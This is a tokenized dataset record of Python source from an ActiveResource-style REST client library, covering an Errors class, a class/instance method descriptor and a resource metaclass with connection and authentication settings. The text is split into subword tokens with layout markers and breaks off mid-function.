"\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Errors_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add_", "(_", "self_", ",_", "attribute_", ",_", "error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Add", " ", "an", " ", "error", " ", "to", " ", "a", " ", "resource", " ", "object", "'", "s", " ", "attribute", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "attribute", ":", " ", "The", " ", "attribute", " ", "to", " ", "add", " ", "the", " ", "error", " ", "to", ".", "\\", "10", ";", " ", " ", " ", " ", "error", ":", " ", "The", " ", "error", " ", "string", " ", "to", " ", "add", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Non", "e", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "errors_", "._", "setdefault_", "(_", "attribute_", ",_", "[_", "]_", ")_", "._", "append_", "(_", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Errors_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "to", "\\u", "base_", "(_", "self_", ",_", "error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Add", " ", "an", " ", "error", " ", "to", " ", "the", " ", "base", " ", "resource", " ", "object", " ", "rat", "her", " ", "than", " ", "an", " ", "attribute", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "error", ":", " ", "the", " ", "error", " ", "string", " ", "to", " ", "add", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Non", "e", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add_", "(_", "'", "base", "'_", ",_", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Errors_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clear_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Clear", " ", "any", " ", "error", "s", " ", "tha", "t", " ", "have", " ", "bee", "n", " ", "set", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Non", "e", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Non", "e", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "errors_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Errors_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "from", "\\u", "xml_", "(_", "self_", ",_", "xml", "\\u", "string_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Grab", " ", "error", "s", " ", "from", " ", "an", " ", "XML", " ", "response", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "xml", "\\u", "string", ":", " ", "An", " ", "xml", " ", "error", "s", " ", "object", " ", "(", "e", ".", "g", ".", " ", "'<", "error", "s", "><", "/", "error", "s", ">'", ")", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Non", "e", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "attribute", "\\u", "keys_", "=_", "self_", "._", "base_", "._", "attributes_", "._", "keys_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "messages_", "=_", "util_", "._", "xml", "\\u", "to", "\\u", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "xml", "\\u", "string_", ")_", "[_", "'", "error", "s", "'_", "]_", "[_", "'", "error", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "isinstance_", "(_", "messages_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "messages_", "=_", "[_", "messages_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "util_", "._", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "messages_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "message_", "in_", "messages_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "attr", "\\u", "name_", "=_", "message_", "._", "split_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "util_", "._", "underscore", "_", "(_", "attr", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "key_", "in_", "attribute", "\\u", "keys_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "add_", "(_", "key_", ",_", "message_", "[_", "len_", "(_", "attr", "\\u", "name_", ")_", "+_", "1_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "add", "\\u", "to", "\\u", "base_", "(_", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Errors_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on_", "(_", "self_", ",_", "attribute_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "the", " ", "error", "s", " ", "for", " ", "the", " ", "give", "n", " ", "attribute", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "attribute", ":", " ", "The", " ", "attribute", " ", "to", " ", "retrieve", " ", "error", "s", " ", "for", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "An", " ", "error", " ", "string", ",", " ", "or", " ", "a", " ", "list", " ", "of", " ", "error", " ", "message", " ", "string", "s", " ", "or", " ", "Non", "e", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "none", " ", "exist", " ", "for", " ", "the", " ", "give", "n", " ", "attribute", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "errors_", "=_", "self_", "._", "errors_", "._", "get_", "(_", "attribute_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "errors_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "errors_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "errors_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Errors_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "full", "\\u", "messages_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", "s", " ", "all", " ", "the", " ", "full", " ", "error", " ", "message", "s", " ", "in", " ", "an", " ", "array", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Non", "e", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "An", " ", "array", " ", "of", " ", "error", " ", "string", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "messages_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "key_", ",_", "errors_", "in_", "self_", "._", "errors_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "error_", "in_", "errors_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "key_", "==_", "'", "base", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "messages_", "._", "append_", "(_", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "messages_", "._", "append_", "(_", "'", " ", "'_", "._", "join_", "(_", "(_", "key_", ",_", "error_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "messages_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Class", "And", "Insta", "nce", "Method_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "A", " ", "descrip", "tor", " ", "to", " ", "allow", " ", "class", "/", "instance", " ", "method", "s", " ", "with", " ", "the", " ", "same", " ", "name", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Class", "And", "Insta", "nce", "Method_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "class", "\\u", "method_", ",_", "instance", "\\u", "method_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "class", "\\u", "method_", "=_", "class", "\\u", "method_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "instance", "\\u", "method_", "=_", "instance", "\\u", "method_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Class", "And", "Insta", "nce", "Method_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "get\\u\\u_", "(_", "self_", ",_", "instance_", ",_", "owner_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "instance_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "getattr_", "(_", "instance_", ",_", "self_", "._", "instance", "\\u", "method_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "getattr_", "(_", "owner_", ",_", "self_", "._", "class", "\\u", "method_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "A", " ", "metaclass", " ", "for", " ", "Activ", "e", "Reso", "urc", "e", " ", "object", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Prov", "ides", " ", "a", " ", "separate", " ", "namespace", " ", "for", " ", "configura", "tion", " ", "object", "s", " ", "(", "user", ",", "password", ",", "\\", "10", ";", " ", " ", " ", " ", "site", ",", " ", "etc", ")\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "user_", "=_", "property_", "(_", "get", "\\u", "user_", ",_", "set\\u", "user_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "A", " ", "user", "name", " ", "for", " ", "HTTP", " ", "Basic", " ", "Auth", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "password_", "=_", "property_", "(_", "get", "\\u", "password_", ",_", "set\\u", "password_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "A", " ", "password", " ", "for", " ", "HTTP", " ", "Basic", " ", "Auth", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "site_", "=_", "property_", "(_", "get", "\\u", "site_", ",_", "set\\u", "site_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "The", " ", "base", " ", "REST", " ", "site", " ", "to", " ", "connect", " ", "to", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "headers_", "=_", "property_", "(_", "get", "\\u", "headers_", ",_", "set\\u", "headers_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "HTTP", " ", "header", "s", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "timeout_", "=_", "property_", "(_", "get", "\\u", "timeout_", ",_", "set\\u", "timeout_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Sock", "et", " ", "timeo", "ut", " ", "for", " ", "HTTP", " ", "operati", "ons", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "format_", "=_", "property_", "(_", "get", "\\u", "format_", ",_", "set\\u", "format_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "A", " ", "format", " ", "object", " ", "for", " ", "encoding", "/", "deco", "ding", " ", "request", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "plural_", "=_", "property_", "(_", "get", "\\u", "plural_", ",_", "set\\u", "plural_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "The", " ", "plural", " ", "name", " ", "of", " ", "this", " ", "object", " ", "type", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "singular", "_", "=_", "property_", "(_", "get", "\\u", "singular", "_", ",_", "set\\u", "singular", "_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "The", " ", "singular", " ", "name", " ", "of", " ", "this", " ", "object", " ", "type", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "prefix", "\\u", "source_", "=_", "property_", "(_", "get", "\\u", "prefix", "\\u", "source_", ",_", "set\\u", "prefix", "\\u", "source_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "prefix", " ", "for", " ", "lookups", " ", "for", " ", "this", " ", "type", " ", "of", " ", "object", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "primary", "\\u", "key_", "=_", "property_", "(_", "get", "\\u", "primary", "\\u", "key_", ",_", "set\\u", "primary", "\\u", "key_", ",_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Name", " ", "of", " ", "attribute", " ", "tha", "t", " ", "unique", "ly", " ", "identi", "es", " ", "the", " ", "resource", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "new\\u\\u_", "(_", "mcs", "_", ",_", "name_", ",_", "bases_", ",_", "new", "\\u", "attrs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "e", " ", "a", " ", "new", " ", "class", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "mcs", ":", " ", "The", " ", "metaclass", ".", "\\", "10", ";", " ", " ", " ", " ", "name", ":", " ", "The", " ", "name", " ", "of", " ", "the", " ", "class", ".", "\\", "10", ";", " ", " ", " ", " ", "base", "s", ":", " ", "List", " ", "of", " ", "base", " ", "classe", "s", " ", "from", " ", "whi", "ch", " ", "mcs", " ", "inherits", ".", "\\", "10", ";", " ", " ", " ", " ", "new", "\\u", "attr", "s", ":", " ", "The", " ", "class", " ", "attribute", " ", "dictionar", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'\\u", "singular", "'_", "not_", "in_", "new", "\\u", "attrs_", "or_", "not_", "new", "\\u", "attrs_", "[_", "'\\u", "singular", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "attrs_", "[_", "'\\u", "singular", "'_", "]_", "=_", "util_", "._", "underscore", "_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'\\u", "plural", "'_", "not_", "in_", "new", "\\u", "attrs_", "or_", "not_", "new", "\\u", "attrs_", "[_", "'\\u", "plural", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "attrs_", "[_", "'\\u", "plural", "'_", "]_", "=_", "util_", "._", "plural", "ize_", "(_", "new", "\\u", "attrs_", "[_", "'\\u", "singular", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "klass_", "=_", "type_", "._", "\\u\\u", "new\\u\\u_", "(_", "mcs", "_", ",_", "name_", ",_", "bases_", ",_", "new", "\\u", "attrs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "\\u", "site", " ", "is", " ", "defin", "ed", ",", " ", "use", " ", "the", " ", "site", " ", "property", " ", "to", " ", "ensure", " ", "tha", "t", " ", "user_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "password", " ", "are", " ", "proper", "ly", " ", "initialize", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'\\u", "site", "'_", "in_", "new", "\\u", "attrs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "klass_", "._", "site_", "=_", "new", "\\u", "attrs_", "[_", "'\\u", "site", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "klass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "connection_", "(_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "A", " ", "connecti", "on", " ", "object", " ", "whi", "ch", " ", "handle", "s", " ", "all", " ", "HTTP", " ", "request", "s", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "super", "\\u", "class_", "=_", "cls_", "._", "\\u\\u", "mro", "\\u\\u_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "super", "\\u", "class_", "==_", "object_", "or_", "'\\u", "connecti", "on", "'_", "in_", "cls_", "._", "\\u\\u", "dict\\u\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "cls_", "._", "\\u", "connection_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cls_", "._", "\\u", "connection_", "=_", "connection_", "._", "Connection_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "._", "site_", ",_", "cls_", "._", "user_", ",_", "cls_", "._", "password_", ",_", "cls_", "._", "timeout_", ",_", "cls_", "._", "format_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "cls_", "._", "\\u", "connection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "super", "\\u", "class_", "._", "connection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "user_", "(_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cls_", "._", "\\u", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "user_", "(_", "cls_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cls_", "._", "\\u", "connection_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cls_", "._", "\\u", "user_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "password_", "(_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cls_", "._", "\\u", "password_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "password_", "(_", "cls_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cls_", "._", "\\u", "connection_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cls_", "._", "\\u", "password_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "site_", "(_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cls_", "._", "\\u", "site_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Meta_", "(_", "type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "site_", "(_", "cls_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "value_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 